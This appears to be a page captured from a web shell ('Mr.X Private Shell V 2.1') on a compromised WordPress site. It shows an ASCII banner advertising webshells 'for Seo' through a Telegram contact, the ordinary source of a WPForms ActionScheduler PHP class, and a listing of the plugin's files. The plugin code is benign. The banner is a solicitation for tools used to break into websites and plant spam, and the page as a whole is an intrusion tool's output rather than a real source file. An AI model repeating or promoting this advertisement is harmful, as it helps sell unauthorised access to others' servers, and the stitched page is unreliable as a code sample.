__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace WPForms\Admin\Tools\Views;
use ActionScheduler_AdminView;
/**
* Class ActionScheduler view.
*
* @since 1.6.6
*/
class ActionScheduler extends View {
/**
* View slug.
*
* @since 1.6.6
*
* @var string
*/
protected $slug = 'action-scheduler';
/**
* Init view.
*
* @since 1.6.6
*/
public function init() {
if ( $this->admin_view_exists() ) {
ActionScheduler_AdminView::instance()->process_admin_ui();
}
}
/**
* Get link to the view.
*
* @since 1.6.9
*
* @return string
*/
public function get_link() {
return add_query_arg(
[
's' => 'wpforms',
],
parent::get_link()
);
}
/**
* Get view label.
*
* @since 1.6.6
*
* @return string
*/
public function get_label() {
return esc_html__( 'Scheduled Actions', 'wpforms-lite' );
}
/**
* Checking user capability to view.
*
* @since 1.6.6
*
* @return bool
*/
public function check_capability() {
return wpforms_current_user_can();
}
/**
* Display view content.
*
* @since 1.6.6
*/
public function display() {
if ( ! $this->admin_view_exists() ) {
return;
}
( new ActionSchedulerList() )->display_page();
}
/**
* Check if ActionScheduler_AdminView class exists.
*
* @since 1.6.6
*
* @return bool
*/
private function admin_view_exists() {
return class_exists( 'ActionScheduler_AdminView' );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ActionScheduler.php | File | 1.37 KB | 0640 |
|
| ActionSchedulerList.php | File | 2.39 KB | 0640 |
|
| CodeSnippets.php | File | 2.78 KB | 0640 |
|
| EntryAutomation.php | File | 2.06 KB | 0640 |
|
| Export.php | File | 9.41 KB | 0640 |
|
| Import.php | File | 11.35 KB | 0640 |
|
| Importer.php | File | 9.67 KB | 0640 |
|
| Logs.php | File | 8.2 KB | 0640 |
|
| System.php | File | 13.26 KB | 0640 |
|
| View.php | File | 1.7 KB | 0640 |
|